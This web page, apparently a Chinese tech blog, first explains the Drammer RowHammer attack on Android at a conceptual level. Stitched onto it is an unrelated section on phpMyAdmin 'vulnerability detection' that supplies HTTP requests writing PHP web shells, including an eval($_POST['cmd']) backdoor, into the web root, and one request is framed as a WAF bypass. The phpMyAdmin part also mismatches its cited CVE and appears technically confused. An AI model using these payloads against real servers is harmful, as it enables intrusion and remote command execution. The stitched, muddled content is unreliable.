通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击

Drammer是一种利用内存芯片设计缺陷的攻击方式,可通过不断访问特定内存地址来翻转其他地址的数据位。该攻击适用于包括Android在内的多个系统,并已成功实现对Android 6.0.1的root权限获取。

通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击

大家肯定知道前几天刚爆出来一个linux内核(Android也用的linux内核)的dirtycow漏洞。此洞可以说是个神洞,通过dirtycow,一个普通权限的app可以做到root权限的文件任意写,随后还可以转化为android上的通用root。就在大家纷纷埋头研究dirtycow的时候,Drammer横空出世,号称也可以root最新版的Android 6.0.1,同时还放出了CCS论文POC

那么这个Drammer到底是什么东西呢?

Drammer可以说是一种针对android设备的攻击方式,利用的是内存芯片设计上的一个缺陷。然而,这个问题并不是只出现在Android系统上,而是所有使用内存的系统都会出现这个问题。最早提出这种攻击方式的人是卡内基梅隆大学的Yoongu Kim写的一篇paper -《Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors》 在这篇文章中,作者提到有个有趣的现象,如果不断的访问两个具有”侵略者”性质的虚拟地址会让一个具有”受害者”性质的内存数据进行位翻转,更神奇的是这个具有”受害者”性质的内存可能会在当前进程可访问的虚拟地址以外

为什么会有这种现象呢?

原因是内存厂商为了能让内存芯片存储更多的数据,于是将内存中的DRAM(The Dynamic Random Access Memory)cell越做越小并且离的越来越近,从而导致相邻的cell在通电的过程中会受到影响。因此,如果我们不断的访问某个位置上的内存,就可能会造成相邻的内存进行位翻转。随后google project zero还通过PC上的linux提权,证明了这种现象的确存在并且可以用来进行攻击(https://googleprojectzero.blogspot.com/2015/03/exploiting-dram-rowhammer-bug-to-gain.html)并将这种攻击方式称为RowHammer。因此,这次出现的drammer是受之前研究的启发,从而实现了Android上的rowhammer攻击,所以drammer全称其实是DRoid and rowhAMMER。

在Android上,整个攻击的基本思路是:1. 先找到用户态可以flush内存的api,比如Android上的ION。2. 然后利用这个api配合上FLIP FENG SHUI技术进行rowhammer攻击。目的是位翻转Page Table Entry (PTE)并让其指向一个攻击者可以控制的内存上。3. 修改PTE从而控制整个物理内存。配合其他漏洞还可以做到远程攻击(DEMO:https://www.vusec.net/projects/drammer/)。

原来硬件上设计的缺陷还会出现这种问题,是不是感觉脑洞已经快要爆炸了。并且这次的攻击与操作系统和软件无关,纯粹是硬件上的漏洞导致的。因此,不光是linux和Android,Windows, OS X和iOS应该也是受影响的。唉,May god bless all electronic devices.

作者:蒸米@阿里移动安全,更多Android、iOS技术文章,请访问阿里聚安全博客
### 检测 phpMyAdmin 是否存在通杀漏洞的方法 检测 phpMyAdmin 是否存在通杀漏洞(如代码注入漏洞)通常需要结合自动化工具和手动验证手段。以下是些关键的检测方法: #### 1. 版本识别 通过访问 phpMyAdmin 的登录页面或查看响应头信息,识别其版本号。若版本为 4.8.0 或 4.8.1,则可能存在该漏洞。可以通过如下方式识别: ```http GET /phpmyadmin/ HTTP/1.1 Host: target.com ``` 查看响应中的版本信息或页面底部的版本号,确认是否属于受影响版本 [^1]。 #### 2. 使用自动化漏洞扫描工具 可以借助自动化漏洞扫描工具(如 `sqlmap`、`Nuclei`、`Burp Suite` 等)检测 phpMyAdmin 是否存在代码注入漏洞。例如,使用 `Nuclei` 检测 phpMyAdmin 漏洞: ```bash nuclei -u http://target.com/phpmyadmin/ -t ~/nuclei-templates/http/cves/2018/CVE-2018-12613.yaml ``` 该模板专门用于检测 phpMyAdmin 4.8.0/4.8.1 的文件包含漏洞 [^1]。 #### 3. 手动构造恶意请求 通过构造特定的 HTTP 请求,尝试访问 `index.php` 并注入恶意代码。例如: ```http POST /phpmyadmin/index.php?db=malicious_db&table=malicious_table HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: length token=valid_token&lang=en&server=1 ``` 发送请求后,检查响应中是否包含异常行为,如 `phpinfo()` 输出或文件写入成功的信息 [^1]。 #### 4. 检查文件写入功能 利用漏洞尝试写入 Web Shell 到服务器。例如,构造如下请求: ```http POST /phpmyadmin/index.php?db=malicious_db&table=malicious_table HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: length token=valid_token&lang=en&server=1&target_lang=en&collation_connection=utf8mb4_unicode_ci&sql_query=SELECT%20%27%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%27%20INTO%20OUTFILE%20%27/var/www/html/shell.php%27 ``` 如果服务器成功写入 `shell.php` 文件,并可通过浏览器访问,则表明漏洞存在 [^1]。 #### 5. 日志分析与行为监控 在测试过程中,应启用服务器日志记录,观察是否有异常请求或文件操作行为。例如,检查 Apache 或 Nginx 的访问日志是否包含可疑的 SQL 注入或文件写入请求 [^1]。 #### 6. 安全加固后的检测 若目标系统已进行安全加固(如升级版本、配置 WAF),可尝试绕过机制进行测试。例如,使用编码绕过 WAF 规则,构造如下请求: ```http POST /phpmyadmin/index.php?db=malicious_db&table=malicious_table HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: length token=valid_token&lang=en&server=1&target_lang=en&collation_connection=utf8mb4_unicode_ci&sql_query=SELECT%20%27%3C%3Fphp%20eval%28%24_POST%5B%27cmd%27%5D%29%3B%20%3F%3E%27%20INTO%20OUTFILE%20%27/var/www/html/backdoor.php%27 ``` 尝试访问 `backdoor.php` 并执行命令,验证是否被 WAF 拦截 。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值